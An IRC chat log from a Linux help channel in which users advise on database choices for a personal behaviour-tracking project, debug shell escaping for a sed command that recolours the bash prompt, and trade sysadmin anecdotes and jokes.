--- Log opened Mon Jun 11 00:00:53 2018
00:03 < phinxy> It would be fun to have a rule to enforce that 8.3 rule on a modern filesystem
00:03 < autopsy> phinxy, why? No way. 8 characters dot 3 characters.
00:04 < matsaman> there's a tremendous hack missing here
00:04 < matsaman> why not limit file names to a single character
00:04 < matsaman> why not a half of one
00:04 < autopsy> Yeah filesystemfs modules.
00:04 < matsaman> how many files can you make with a quarter of unicode chars
00:04 < scampbell> that's ext4-- because long file names are hard to remember.
00:05 < Prof_Birch> Is there really anything wrong with using sql for key-value pairs?
00:05 < matsaman> Prof_Birch: if it breaks, you'll notice
00:05 < autopsy> scampbell, thats why you gotta remember.
00:05 < matsaman> don't worry about things that aren't broken
00:06 < scampbell> oh, we should definately case fold those file names too.
00:06 < matsaman> so casist
00:06 < autopsy> A Single character filename thats only 26 files plus 26 for uppercase. So 52.
00:07 < matsaman> the tittles-only filesystem
00:07 < scampbell> Heh, we're playing with a full deck!  (do I qualify for managment now)
00:07 < matsaman> scampbell: no
00:07 < scampbell> Okay, I'll get the lobotomy.
00:07 < matsaman> you only qualify for management when you tell other people you do baselessly
00:07 < autopsy> Qualify yeah right.
00:07 < scampbell> sir, can you fog this mirror?  you're in.
00:07 < autopsy> Y ou win a Nobel Prize man.
00:08 < autopsy> Haha.
00:08 < autopsy> Tittles only wtf.
00:08 < scampbell> so files come in pairs?
00:08 < phogg> Prof_Birch: for a key/value store you can just use the filesystem
00:08 < searedvandal> haha
00:09 < matsaman> tittLes! Get your head out of the gutter!
00:09 < autopsy> Tittless.
00:09 < autopsy> Titless.
00:09 < matsaman> no thanks
00:09 < phogg> Prof_Birch: a relational database isn't made for that, but can be used for it. It's not the most efficient system but if you have under a million keys it's good enough
00:09 < scampbell> Prof Birch: my unsolicited 2 cents is: it is unwise to decide on your storage platform until they give you some idea of what you're gonna store.
00:10 < matsaman> that's what I said, only with an altogether different sentiment
00:10 < scampbell> heh
00:10 < scampbell> What kind of vehicle should I buy? <g>
00:11 < phogg> Prof_Birch: it all depends on what you're doing. Are you mostly reading? Mostly writing? Doing single-key lookups? Analytics (e.g. aggregation)?
00:11 < scampbell> Prof Birch: and, equally importantly, what suprise bs are they gonna want after the fact.
00:12 < phogg> yep, how stable the "requirements" are is important
00:12 < scampbell> oh, so professionally said. I'm humbled :)
00:13 < scampbell> I've been retired a few years, thinking about going back to work for while due to the silly high demand and pay folks are offering.  But I'm gonna have to tone down to the professional level again... ugh.
00:13 < phogg> if the records aren't connected to each other you really don't need a relational DB (or a graph DB) for them, but people think "store data? Use a database. What's a database? It's that thing which uses SQL. An RDBMS. I'll use that."
00:13 < DLange> I'm sure the QBasic application under development would have great performance with a MongoDB backend
00:13 < phogg> a nice one-size-fits-all solution that doesn't actually fit all
00:13 < phogg> scampbell: depends on where you work
00:14 < scampbell> true
00:15 < phogg> I've been in meetings where we ask questions like "This field here where you say the value is either X or Y based on this condition. Is that *always* true or can it *EVER* change?" and be told "No, it cannot change. It's always like that." And of course six months later do you know what they want to change?
00:15 < scampbell> Oh no! not the unchangable purely totally static value.
00:15 < Prof_Birch> phogg: then what do you recommend
00:15 < phogg> And when you say "Remember six months ago when you said it can't ever change?" the answer makes it clear they knew it could change but have a different notion of spacetime than any sane man should.
00:16 < phogg> Prof_Birch: I don't recommend when I don't know what you're doing (-;
00:16 < scampbell> I think of it like dealing with a toddler, they don't really understand what you're saying but they make nice faces along the way.
00:17 < phogg> scampbell: that's pretty accurate
00:17 < scampbell> pretty much every project starts with some guy telling some hairbrained plan for 20 minutes and when he finally shuts up I ask "So, what is it you're trying to accomplish here?"
00:17 < phogg> scampbell: do you ever get the one where they earnestly explain for a half an hour why the product is important but never tell you what it does?
00:18 < scampbell> of course.
00:18 < Prof_Birch> phogg: I am trying to track things a user does, such as "this TIME is when a user used this PROGRAM, and maybe for HOW-LONG", with the ability to add data points as I find it to be a relevant thing to track
00:19 < scampbell> My very very favorite is when vendor is bull$#$# with acronyms.  "The XYZ is l..."    I'll ask, "Excuse me, what's XYZ?" and everyone looks at me like "you don't know" but then when they answer all the pens scribble.
00:19 < Prof_Birch> phogg: but also the ability for multiple programs to use the same database
00:19 < phogg> Prof_Birch: is the order in which the actions occur important? Can it ever change?
00:19 < Prof_Birch> phogg: It can absolutely change
00:19 < phogg> Prof_Birch: how long do you retain the list of actions?
00:20 < Prof_Birch> phogg: the order can be important, but it also isn't necessarily important (if that makes sense)
00:20 < phogg> scampbell: I call that "Asking the impertinent questions."
00:20 < Prof_Birch> phogg: the intention is to retain the data for a long period of time, to latter find patterns in it
00:20 < scampbell> heh
00:20 < matsaman> you yell long enough that you're qualified at something and people believe you, this is the basis for modern capitalism
00:20 < phogg> matsaman: and politics, too (apparently).
00:20 < matsaman> and also animal courtship from time immemorial
00:21 < matsaman> phogg: yeah =P
00:21 < phogg> Prof_Birch: So over a few years the data set could grow in size quite a lot, right?
00:22 < phogg> Prof_Birch: would the normal "read back later" be done using data only from a single user or from data for multiple users? Or would it be more interested in a period of time?
00:22 < Prof_Birch> phogg: yes, it's a single user over an undefined period of time
00:22 < updated> I have a question, not sure if this is the right channel. I have a list of many (~100k+) ip addresses, many of which are adjacent. I would like to "normalize" these, meaning that instead of having 255 adjacent addresses I'd like to note that in CIDR /24, if there's 1,024 adjacent I'd like to note it in a /22, etc. Do you know of a ready-made tool for this purpose? or do I need to write a script to do this
00:23 < phogg> scampbell: if you think that's bad you should try working with something coming from the US military.
00:23 < scampbell> Naval weapons support in NC.  Been there, done that.
00:23 < phogg> scampbell: ah, well in that case you do know
00:23 < Prof_Birch> however its tracking over the entity of their actions on a device. Anything from most popular words used, to time spent in a program, to what time they normally set an alarm for
00:24 < scampbell> The day I left they were testing some new radar when tech asked if anyone had checked if this was safe around all the ordinance (they assemble missles and bombs and stuff for the navy).  No one was sure and I was leaving.. quickly.
00:25 < phogg> Prof_Birch: It's sounding more like you do want a pick database, or something oriented around fat records like e.g. elastic. It's probably not the optimal choice but it's hard to tell what that would be from what you're saying.
00:26 < scampbell> phogg: back in the mid to late 1970's I had a company that automatic military forms.  The forms were so old they would not line up in typewriters.  It required a literal act of congress to change.  They loved me and scanner and laser printers.
00:26 < scampbell> s/automatic/automated/
00:26 < Prof_Birch> phogg: that's my dilemma, compounded by my lack of knowledge about the subject. I am not sure the scope of the data I need to track, so I am trying to avoid premature optimization, while maximizing simplicity
00:26 < phogg> updated: I don't know of a tool for that. Could be one, but I haven't seen it. Shouldn't be too hard to script.
00:26 < Prof_Birch> complex data with simple algorithms and all that
00:26 < phogg> scampbell: pro tip: they're still using those forms
00:27 < scampbell> They may still be using that software. I sold it long ago.
00:27 < phogg> scampbell: most of the infrastructure was designed around WWII. Changing it would require another war of the same scale.
00:27 < scampbell> It was pretty cool for it's day. We'd scan a form then probe for the box edges and have the operator verify it. Boom, they have a production form with a backend database (raima)
00:28 < phogg> Prof_Birch: I recommend a simple, dumb storage system for now with reasonable key lookup (which is why I mentioned elastic) with the understanding that you'll probably throw it out in favor of a more optimal one once you have a decent corpus of data.
00:29 < Prof_Birch> phogg: is there a nosqlite lol
00:29 < scampbell> Grenada, it's why we talking on tcp today.
00:29 < sauvin> What kind of data are we talking about, Prof_Birch ?
00:29 < phogg> scampbell: now it's all PDFs of old forms sent via email
00:29 < scampbell> phogg: what? no fax?
00:29 < phogg> sauvin: he doesn't exactly know. Event data
00:30 < phogg> scampbell: less and less of that
00:30 < Prof_Birch> sauvin: it's abstract. I am trying to track all "relevant" user data, with no idea what is relevant
00:30 < sauvin> Then you need to make a determination on that before worrying about how to store it.
00:30 < swift110> Goodness that sounds like a lot of work
00:30 < scampbell> Prof Birch: my 2 cents again.  I find dumping that stuff into an sql database is the way to go. I really suspect you're gonna have a lot of adhoc querys and sql really can ease that pain.
00:31 < phogg> I disagree. An RDBMS means you have to know the schema, but he doesn't. He'll be creating lots and lots of new tables as he goes.
00:31 < Prof_Birch> sauvin: I'm taking a bottom up approach, as I go "oh I should track this" I can throw it in. The reason I am looking at a database is for a central repository to run it through R or prolog to find patterns
00:31 < phogg> unless you get *really* abstract, by which point it's terribly hard to use
00:32 < Prof_Birch> I also like the sqlite approach of no running server, but I don't know of a nosqlite
00:32 < scampbell> phogg: even if the schema is  key, value.  I think it would be helpful. But I see your point and recognize the Birch's comfort level with these things is important too.
00:33 < Prof_Birch> Sorry for such abstract questioning
00:33 < scampbell> Eh, we're having fun discussing it. at least I am.
00:33 < dw1> why am i sending and receiving traffic to/from an IP in nethogs when i've blocked both INPUT and OUTPUT to it :S
00:33 < phogg> scampbell: yeah, a postgres DB with one table consisting of (text key, jsonb value) would work. It would not be the most pleasant thing to query later, though
00:33 < sauvin> Abstract questions beget abstract answers, which may not be very useful.
00:34 < acresearch> people i am  using xfce terminal, but it is all green, is there a way to change the colour such as the prompt is green but the printout is white?
00:34 < scampbell> phogg: yeah, but neither is a flat file.
00:35 < scampbell> Ultimately, we all agree you really don't have enough info to make final decision. you can only create a stop gap with what you know so far.
00:35 < Prof_Birch> Yeah, the goal is to prototype, but prototype with a tool that fits my problem
00:35 < Pentode> acresearch, right click / preferences / colors
00:35 < scampbell> acresearch: menu -> preferences -> colors
00:36 < sauvin> The problem with your problem is that it's undefined.
00:36 < Prof_Birch> I am trying to follow the unix philosophy of data complexity and algorithm simplicity, but databases seem to be the antithesis of simplicity
00:36 < Prof_Birch> Right, well undefined problem solving is what drew me to lisp lol
00:37 < acresearch> Pentode: scampbell OK, but there where can i differentiate between the prompt colors and the printout colours?
00:37 < Pentode> acresearch, ~/.bashrc and modify the PS1 variable to customize the prompt.
00:37 < Pentode> i suggest looking up some tutorials on it
00:37 < scampbell> acresearch: you want to change your prompt color?  That is the environment variable PS1, it contains control codes.
00:37 < Pentode> you owe me two cokes scampbell
00:37 < acresearch> hmmm ok
00:37 < Pentode> ;p
00:37 < scampbell> I gotta up my typing speed.
00:39 < phogg> Prof_Birch: if you're doing it the unix way do this: mkdir /db/ ; and then each file name in there is a key, each file content a value. Unix!
00:40 < Prof_Birch> phogg: now I am back to the flat file database! lol. I know that the Unix way isn't always the best, but I still want to lean towards ease of understanding
00:40 < scampbell> you did say you would have multiple users accessing simultaneously right? Is that just query?
00:40 < phogg> Prof_Birch: I'm joking. For your analytics requirement a series of flat files would be pretty bad.
00:41 < Prof_Birch> scampbell for the most part just a query, they might all need to write, but I doubt a use case where they couldn't just queue up (hence sqlite)
00:41 < Prof_Birch> Also having a .db file (ala sqlite) allows me to p2p sync devices (a quirk that I might find useful)
00:42 < testerbeta> hi
00:42 < acresearch> Prof_Birch: I am having difficulty changing the PS1 colour, where does the colour change goes?
00:42 < testerbeta> who had used testdisk for recover strange files?strange = hwhatsapp logs (crypt12)
00:43 < bls> acresearch: https://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
00:44 < scampbell> Prof Birch: that's another reason I like SQL. I can give other folks read only access or I can give them a copy.  Really nice when some jerk say "well, that's really easy I could do that in an hour".  Okay, here's yer copy, show us.
00:44 < Prof_Birch> I am leaning towards SQLite, though it could just be my ignorance of nosql systems
00:45 < scampbell> Prof Birch: your comfort and familiarity with your stop gap measure seems like it should be high on the list of considerations.
00:45 < darkmeson> For key-value storage, there's also Redis
00:45 < bls> only reason to use nosql would be if you needed sharding, and if you're considering sqlite, you're not there
00:45 < darkmeson> Or possibly memcachedb
00:46 < scampbell> I'd overkill it toss it on postgres server, but I have those running at home, on my laptop...
00:46 < arvut> how do you move the 2nd kNight in gnuchess?
00:46 < darkmeson> As others have said, the type of data and use case are EXTREMELY important to which option will work best though
00:46 < Prof_Birch> it just seems like nosql key-value and document-oriented are incredbly flexible, though I guess I can do key-value in sql
00:47 < darkmeson> At least with some type of SQL, there's always the option to convert later, but sqlite would be the worst option since it's hardest to convert to something more scalable later
00:47 < Prof_Birch> I could make a table per app, and key-value the data, and its tag
00:47 < darkmeson> nosql is mostly for write-dominated workloads afaik
00:47 < Prof_Birch> ugh, damn my informal education
00:49 < scampbell> Why a table per app rather than a table for apps.
00:49 < darkmeson> I've never actually gotten to use any myself, but I've seen many RDBMSes abused for things that would've been better-suited to them
00:49 < Prof_Birch> because I am bad at schema design.
00:49 < bls> yeah, table per app just makes things more complicated
00:50 < darkmeson> Some were legacy projects, but many others were just because someone couldn't be bothered to plan ahead
00:50 < Prof_Birch> It's what drove me here to ask questions in the first place
00:51 < darkmeson> I think there were some database channels on this network too
00:51 < darkmeson> It couldn't hurt to get their take as well
00:51 < scampbell> I'm in #postgresql, you can ask me over there :)
00:51 < darkmeson> There are most probably a few DBAs who do this sort of thing for a living who could offer way better advice
00:52 < Prof_Birch> I may have something like "oh he used calibre and firefox at the same time, when both apps were open he spoke about X, Y, Z more often, therefor if he has notes about X, Y, Z they correlate more to words found in files open during the calibre and firefox session"
00:52 < Prof_Birch> I know that's terribly abstract, but that's what I am working with
00:53 < darkmeson> That sounds like AI stuff
00:53 < Prof_Birch> yes, it is AI stuff
00:53 < sauvin> Prof_Birch, why are you trying to gather this kind of data?
00:54 < scampbell> that's what I was wondering.
00:54 < Prof_Birch> like, personal reasons?
00:54 < darkmeson> Then maybe the OpenCV people would have some useful input
00:54 < ALowther> How can I view which user a process belongs to?
00:55 < Prof_Birch> I have very, very strong ADHD, and my notes often get disorganized, as well as I lose track of things. I am trying to find patterns in my behavior that will allow me to more effectively manage my thoughts, and recall information in a fast, and easy to digest manner
00:55 < scampbell> Prof Birch: ah, that is interesting.
00:55 < darkmeson> Oh, you might want mind mapping software then
00:56 < scampbell> I really lean to sql now.
00:56 < Prof_Birch> So, if I can realize that something might be worth tracking, I can throw it in a database, to gather information over time about the behavior, clean the data and see if it is of use to me
00:56 < darkmeson> There's a breadth of software already available, foss and otherwise
00:56 < darkmeson> Maybe even couchdb
00:57 < Prof_Birch> but I am working across device. Particularly my smartwatch (where I will track WHAT and HOW I query voice commands. If I say something that doesn't yet have a command, I can remember what was said and build a command around it)
00:57 < scampbell> Certainly you'll want the ability to query that data in any form that comes to mind really.
00:57 < Prof_Birch> or my phone (where I might quickly write a note, but never look back at it, so I can have a bot auto sort it, and send it to my desktop where I can reference it later)
00:57 < Prof_Birch> Yes
00:58 < scampbell> and, as darkmeson pointed out, there may be software out there already that could already written towards that.  I certainly check that avenue out.   Just grab a wheel if one already exists.
00:58 < Prof_Birch> But I might not recognize a feature that needs to be tracked, untill its right in front of my face, so a flexible database is important
00:58 < Pentode> it must be really difficult being stuck inside a mind like that. :/
00:58 < Prof_Birch> scampbell: that's why I came here for advice
00:59 < scampbell> but I would say a flat file would be bad choice.  every time you want to look at the data another way you'll be writting a fair amount of code.
00:59 < Prof_Birch> I was tempted to hand-hack it, but I would spend more time reinventing the wheel rather than working on my program
00:59 < darkmeson> That only dictates a certain set of frontends, not the overall design
00:59 < darkmeson> RSS or email would be a traditional way to adapt data sets to mobile devices, for instance
00:59 < Prof_Birch> Pentode: Yeah, its tough. but programming allows us to extend ourselves beyond what we can do naturally
00:59 < scampbell> always my temptation. at home I fall into reinventing the wheel because I don't like the color of theirs.
00:59 < darkmeson> Or even a small amount of js and ajax
01:00 < Prof_Birch> I am using Linux cross device, and I also know Android dev (though I will be using plasma mobile eventually) so I am leaning towards unix style pipes and ipc, so that each program does what it needs to do
01:00 < Prof_Birch> this allows me to be language agnostic as well (hence the use of lisp, prolog, r, etc)
01:00 < Pentode> i have a habit of "reinventing the wheel" while coding..
01:01 < Prof_Birch> I was originally working in the android ecosystem, but I spent too much time working against the grain
01:01 < scampbell> Prof Birch: would the android device be just a data collector?
01:01 < pnbeast> That's what I think whenever I open a text editor:  I'm extending myself beyond my natural ability.  That's partly because I use emacs and it really strains my finger tendons to get some of the key chords correct.
01:01 < scampbell> or that whole app going on there?
01:01 < darkmeson> Prof_Birch: I guess what I'm trying to say in a roundabout way is that your time would be better spent figuring out how to adapt to an existing system rather than trying to write something from scratch
01:01 < scampbell> pnbeast: emacs++  (old guy)
01:01 < Prof_Birch> darkmeson: yeah, thats why I was leaning towards sqlite. It's simple and JUST flexible enough to do what I need
01:01 < darkmeson> That adaptation is actually the only thing we have left to do a LOT of the time today
01:02 < Prof_Birch> but I didn't want to start in on it until I had a rough idea of if it was a good fit
01:02 < darkmeson> Again, definitely do NOT recommend sqlite
01:02 < Prof_Birch> scapbell: it's primarily a data collector, but it's also my "pocket notebook" so data recall is really important
01:02 < darkmeson> If you look, there are only half-completed conversion scripts to other SQLs, and that's not for lack of people putting in the time
01:03 < Prof_Birch> each system is supposed to be a thin client to the next (watch to phone, phone to laptop, laptop to server), but also retain enough core functionality that it can do what it needs to do on its own (track data, respond in a relavent way)
01:03 < scampbell> prof birch: Sure, my point in that question is probably don't need to do much more than file transfer between the android app and your pc.  Unless near real time analysis is in the mix but it doesn't sound like it.
01:03 < Prof_Birch> hence sqlite is portable enough to be copied on all devices, but not bog down my system
01:04 < darkmeson> At the very least, use an abstraction layer from the very start if you want to go that route so your data ends up being stored in a way that WILL be easy to convert
01:04 < Prof_Birch> darkmeson: yeah, that's what was making me think I might be missing out by not using something like json
01:04 < Dan39> converting from sqlite to some other db should be pretty damn easy if you are coder
01:04 < scampbell> I thought sqllite was a really simple export.
01:04 < Dan39> maybe not as easy as running a command, but easy id say
01:05 < darkmeson> libdbi for instance
01:05 < darkmeson> Dan39: try it and report back :)
01:06 < Dan39> ..
01:06 < Dan39> couchdb does look nice though
01:06 < Prof_Birch> scampbell: the thing about android is that it could be my only device for extended periods of time (I am in the Navy) so I was looking for quick was to hack a change into the system without needing something full
01:06 < darkmeson> scampbell: 'export' yes. it's just .dump
01:06 < darkmeson> convert, no
01:06 < Prof_Birch> Java isn't so good for that
01:07 < Prof_Birch> Lisp is though
01:07 < Dan39> darkmeson: well i guess convert is the wrong phrase
01:07 < Dan39> darkmeson: it wouldnt be automated... would have to setup table, then just select from one and insert into the other...? whats wrong with that?
01:08 < Dan39> but yea i wouldn't recommend sqlite for the use either :P
01:08 < darkmeson> scampbell: btw, you say there's "so much demand" just like the news, but everyone who contacts me expects me to move somewhere extremely dangerous like California
01:08 < darkmeson> Were there actually that much need for talent, they'd have no problem with opening their positions up to telecommuters
01:09 < darkmeson> Dan39: a lot of it are the subtle differences in formats
01:09 < scampbell> darkmeson: I'm not entertaining anything but work from home.  I'll travel a bit  and I'll come in to hang with the crowd but I have no interest in chair warming.
01:09 < darkmeson> I stupidly set out to make my own conversion script once upon a time, because it should be pretty easy with sed right?
01:10 < Dan39> i dont see why you would use sed... :|
01:10 < scampbell> btw, I just created an sqlite3 database, used .schema and .dump to replicate to my postgresql server. It was pretty easy.
01:10 < darkmeson> And for the most part, it was. But I kept running into strange exception after exception, and my rule set grew and grew
01:10 < darkmeson> Then I said to hell with it and shelved the whole project
01:10 < Dan39> you weren't trying to convert the sql syntax, were you?
01:10 < bls> sed is not something I'd use for that
01:10 < scampbell> darkmeson: but prof birch doesn't need to do a one size fits ever database ever created by every hair ball on the planet.   :)
01:10 < darkmeson> scampbell: populate it with data for a while
01:11 < darkmeson> Or better yet, take firefox' sqlite dbs and try to convert those
01:11 < Prof_Birch> Anyway, key-value sqlite is a decent choice right?
01:11 < darkmeson> That's irrelevant
01:11 < darkmeson> If you do it right from the beginning, it saves you from these headaches later
01:12 < sauvin> I promise you, darkmeson understates the case dramatically.
01:12  * darkmeson headdesks
01:13 < sauvin> Identify your problem domain, DEFINE your problem, and THEN design it.
01:13 < sauvin> If you try to do it in any other way, you're going to find yourself with an unmanageable mess.
01:13 < Prof_Birch> is that to me?
01:14 < scampbell> darkmeson: He can't "do it right" imo.  To me it sounds like he wants to collect a bunch data  about himself and work it over.  that dataset will change, the analysis will change.  When he finally has it down to a science he's probably don't need it anymore !
01:14 < Dan39> sounds like a lot of work
01:14 < Prof_Birch> scampbell: you're right
01:15 < scampbell> It does, but think the subject is near and dear to his heart and it's entirely possible he could stumble on something really useful.
01:15 < acresearch> people i am trying to write a sed command that will auto replace a string in the .bashrc file:   sed -i "s|PS1='[\u@\h \W]\$ '|PS1='\[\033[0;33m\][\W]$ \[\033[0m\]'|g" .bachrc       but it is not working, can someone help me figure out how to fix it?   i don't get any errors, but the file does not change either
01:16 < darkmeson> acresearch: welcome to shell escaping hell
01:16 < scampbell> acresearch: you are trying to change the color from green to what?
01:16 < bls> acresearch: you're not escaping your \s properly
01:17 < acresearch> bls: oh
01:17 < bls> or your $s
01:17 < darkmeson> try putting it in a file and passing that file to sed with -f and see if that helps for starters
01:17 < acresearch> scampbell: to brown, and i got the PS1 code right, i did change the colour :-)
01:17 < scampbell> okay, gonna try it here....
01:17 < scampbell> be minute, gotta look up those escape sequences
01:17 < acresearch> darkmeson: -f does not seem to work,   i don't get what the issue is
01:18 < acresearch> scampbell: ok
01:18 < darkmeson> you're also better off using 's to enclose the expressions unless you have shell expansions like variables that need to be made
01:19 < bls> but he's got 's in his strings
01:19 < darkmeson> it's easier to escape those than play a guessing game with everything else
01:20 < bls> how?
01:22 < scampbell> acresearch: I just copyied the line out of my .bashrc into another file and edited it.  I don't actually see 'brown' as a palette option though.
01:23 < GunqqerFriithian> 30 minutes later, 1 HDD to SSD, and 1 manual fsck I now have almost isntant boot
01:24 < GunqqerFriithian> it takes longer to type in my luks password that it does to get from there to the login screen
01:24 < acresearch> scampbell: hmmm it work in my terminal    \[\033[0;33m\] for brown
01:24 < Pentode> GunqqerFriithian, isnt it fabulous
01:24 < GunqqerFriithian> it's just damn near instant
01:25 < Pentode> even my ancient core2 macbook boots linux in 2-3 seconds
01:25 < acresearch> scampbell: i have no problem with it, i am just trying to write a code that will quickly change it, rather than openning the file> deleting the line> copy/pasting the new line     you know for efficiency
01:25 < scampbell> ah, they call that dark yellow!
01:25 < bls> some distros remap the basic colors for themeing
01:25 < GunqqerFriithian> granted I had a mini heart attack when it wouldn't boot correctly but I went to busybox and manually fsck'ed it
01:25 < GunqqerFriithian> and it's fine
01:25 < GunqqerFriithian> exccept I need to instead of holding down y use the damn flag
01:25 < acresearch> scampbell: i think dark yellow is the better word than brown,  either way i liked that option haha
01:26 < Pentode> ah, midocardiallinuxitis
01:26 < scampbell> acresearch: you should be able to make that edit right in the .bashrc file in your home directory. Log out and back and you should be good.
01:26 < Pentode> take an aspirin and get to a linux prompt at once
01:27 < GunqqerFriithian> when you edit ~/.bashrc yous hould have to log out/in
01:27 < acresearch> scampbell: yes i succesfully did that, i don't have any problems with the .bashrc file ;-)
01:27 < b> Could source that file.
01:27 < GunqqerFriithian> `source ~/.bashrc`
01:28 < scampbell> Ah, you are trying to do it from a file. yes.  source the file or it has no effect on  your seesion.
01:28 < darkmeson> bls: how? I thought expressions like 's/\'//g' used to work, and search results jive with it, but that's a good question
01:28 < GunqqerFriithian> (but if you open a new session ~/.bashrc is already sourced)
01:29 < darkmeson> When confronted with this kind of situation, I usually just do a pre-transform to some other character and a post-transform back. It's unwieldy, but it works, and it avoids me having to look up issues like these :)
01:29 < b> Indeed.
01:30 < darkmeson> Excuse me, I have escaping issues of my own with this client. 's/\'//g'
01:30 < scampbell>    "s/'//g"  :)
01:30 < scampbell> nothings gonna expand in there.
01:31  * darkmeson points out that there is a subtle difference between sourcing with source and '.'
01:31 < sauvin> What's the subtlety?
01:31 < sinatrablue> i guess i can add "being kicked for naked ascii art" to my list of things ive accomplished today
01:32 < darkmeson> sauvin: I forget, but my scripts seem to indicate . is the the less problematic of the two
01:32 < scampbell> darkmeson: whats the diff. bash man page say they are synonyms.
01:33 < GunqqerFriithian> with my ssd it takes more time to launch and configure all my windows than boot
01:37 < phogg> darkmeson: you cannot escape with \ inside a shell single-quoted string
01:39 < darkmeson> You guys are trying to make me work now :)
01:40 < GunqqerFriithian> HAHAHAHAHAHA
01:40 < scampbell> how about this one:  sed 's/'"'"'//g'
01:40 < scampbell> Looks a bit like zoidberg
01:40 < darkmeson> scampbell: I'm not turning it up again in a web search, but a stackexchange entry alleges . is the official POSIX way (but that's not really relevant here)
01:41 < scampbell> darkmeson: I do think I recall something on irix with that but ancient history is fuzzy.
01:41 < scampbell> It would have been ksh or csh though.
01:42 < phogg> acresearch: you have to know who expands which characters. Try: sed -e 's|PS1='"'"'[\u@\h \W\$ '"'"'|PS1='"'"'\[\033[0;33m\][\W]$ \[\033[0m\]'"'|"
01:42 < darkmeson> Iirc, the last time I tried to use source it didn't work as expected, so I recalled there being an issue, checked my scripts, switched to ., and all was well
01:42 < GunqqerFriithian> oh that looks like hell there
01:42 < phogg> scampbell: that's pretty much what you have to do, yes.
01:42 < acresearch> phogg: this seems to work: n="$(awk '/PS1=/ { $0 = "PS1=\x27\\[\\033[0;33m\\][\\W]\\$ \\[\\033[0m\\]\x27" } 1' bashrc)"; echo "$n" >.bashrc
01:42 < darkmeson> So it IS possibly a legacy consideration, but iono
01:42 < scampbell> at least one of the ways to skin that cat
01:43 < phogg> acresearch: you will hate yourself later
01:43 < acresearch> phogg: haha why?
01:43 < phogg> acresearch: backslash hell
01:43 < acresearch> phogg: i know
01:44 < scampbell> I twitch everytime I hear "seems to work" or "I got it to work".   In professional scenes I lose it and ask the guy if that's anything even remotely like "properly installed and configured"
01:44 < GunqqerFriithian> "it works on my machine"
01:44  * GunqqerFriithian shrugs
01:44 < acresearch> phogg: your command gives   s' command not found
01:45 < scampbell> "We have light bulb like yours here and it's working fine.  Have you tried the light switch?  The light switch, it's rectangular, probably by the door...."
01:45 < GunqqerFriithian> a lightswitch?
01:46 < GunqqerFriithian> did someone say large forehead?
01:46 < scampbell> Hair today, gone tomorrow.
01:46 < sauvin> No, more like "low forehead".
01:46 < phogg> acresearch: I omitted the g at the end
01:47 < acresearch> phogg: oh
01:47 < phogg> you don't really need the g anyway
01:47 < phogg> hmm, something else is wrong too
01:47 < acresearch> phogg: there is no g, did you send me 1/2 of the command?
01:48 < phogg> acresearch: sed -e 's/PS1='\''\[\u@\h \W\$ '\''/PS1='\''\[\033[0;33m\][\W]$ \[\033[0m\]'\''/' # this one works
01:48 < phogg> I was missing a \ before the first [
01:49 < phogg> which is what I get for retyping this by hand the first time
01:49 < phogg> acresearch: you don't need or want the g unless you really set PS1 multiple times on the same line.
01:50 < phogg> scampbell: You wouldn't accept "The problem went away on its own" if it was something to do with an airplane you were about to board, either.
01:50 < GunqqerFriithian> so I installed a new ssd which is bigger than my old hdd but now I have to grow the LVM with luks but i takes too much work so im waiting until I need the space
01:51 < acresearch> phogg: thanks
01:51 < acresearch> phogg: i don't know why bash is written this way,   so difficult to understand/memorise
01:51 < scampbell> that last major surgery I had had a really scary mortality rate.  The doc said  "5 percent doesn't sound like much but I told you that 20 people were getting on a plane and one would die would you get on that plane?"
01:52 < cr0w3> nope
01:52 < GunqqerFriithian> well what reason did they have to get on the plane?
01:52 < darkmeson> there are always ways to help your odds though
01:52 < scampbell> I had a 27 x 17 cm hole in my abdomen.
01:53 < cr0w3> good point. to flee a volcano, yes
01:53 < darkmeson> like sitting next to the exit and carrying a parachute :)
01:53 < scampbell> that was enough to get "get me on that plane".
01:53 < GunqqerFriithian> I was gunna make the volcano analogy also :P
01:54 < cr0w3> yes, hole in abdomen with chance of repair. gets on plane
01:54 < scampbell> yup, to put in some perspective, thats pretty much the size of a us legal piece of paper.
01:54 < cr0w3> that is massive
01:54 < darkmeson> We have Hawaiians here apparently
01:54 < GunqqerFriithian> jesus
01:54 < scampbell> sure was.
01:55 < wizzi> Hi, when i run "sudo arp-scan --interface=wlan0 --localnet".....that what happen "ioctl: No such device"
01:55 < ayecee> apparently wlan0 doesn't exist
01:55 < darkmeson> then you have no wlan0 interface
01:55 < darkmeson> it's probably a garbled wlp-blah-blah
01:56 < wizzi> darkmeson how ?
01:56 < darkmeson> They decided a while back to make the naming rather insane for the sake of being formulaic
01:56 < GunqqerFriithian> mine is wlp1s0, but you should check which your's
01:56 < wizzi> how can i check it ?
01:56 < winst123> ifconfig
01:57 < GunqqerFriithian> ^
01:57 < darkmeson> iwconfig
01:57 < ayecee> ip link show
01:57 < darkmeson> ifconfig isn't guaranteed to show it
01:58 < wizzi> it works thank you !
01:58 < scampbell> ip link  (ftw)
01:58 < GunqqerFriithian> wow I didn't expect this to be contrivertial lol
01:59 < GunqqerFriithian> (sp)
01:59 < darkmeson> 'cat /proc/net/wireless' would have worked in a pinch too
01:59 < scampbell> I think you should load a desktop and wireshark (don't forget to enable your user) and..... what, yes I'll show myself out.
02:00 < ayecee> lots of ways to skin that cat
02:00 < sauvin> Mrowr!
02:00 < GunqqerFriithian> I need to make a brain expanding meme starting with `ls` then `ls -A` etc etc edting with `du  --max-depth=1`
02:01 < GunqqerFriithian> ending*
02:01  * scampbell resists posting the bash bomb.
02:01 < sauvin> Yes. Please resist.
02:01 < GunqqerFriithian> I made a russian roulette script
02:01 < GunqqerFriithian> it randomly sends SIGKILL to a process
02:02 < scampbell> There was once a set of programs called RobinHood and MaidMarion, when you killed one the other saved it. If you managed to kill both FriarTuck kicked in and restarted them.
02:02 < GunqqerFriithian> they keep each other alive?
02:03 < scampbell> yeah, it wasn't on linux though, it was long before that.
02:03 < scampbell> All you really had to do was find all the procids and kill them simultaneously which was really hard because the kill command only accepted on pid.
02:03 < scampbell> that's one pid.
02:04 < GunqqerFriithian> yeah there was a program I installed on my old macbook pro that when it was killed it'd restart itself with another process. Hell if it keeps hanging on launch
02:04 < GunqqerFriithian> killall $ProgramName $ProgramNecromancer
02:04 < scampbell> oh, that reminds me of a customer that moved a bunch of sun boxes to another location.   They called me at home because none of them would boot.
02:05 < scampbell> Turned out they had been mapping disk space over nfs across all the systems and there they were all deadlocked waiting on filesystems from each other.
02:05 < GunqqerFriithian> LOL
02:05 < Pentode> acresearch, here you might find this useful: http://bashrcgenerator.com/
02:05 < darkmeson> http://psdoom.sourceforge.net/screenshots.html
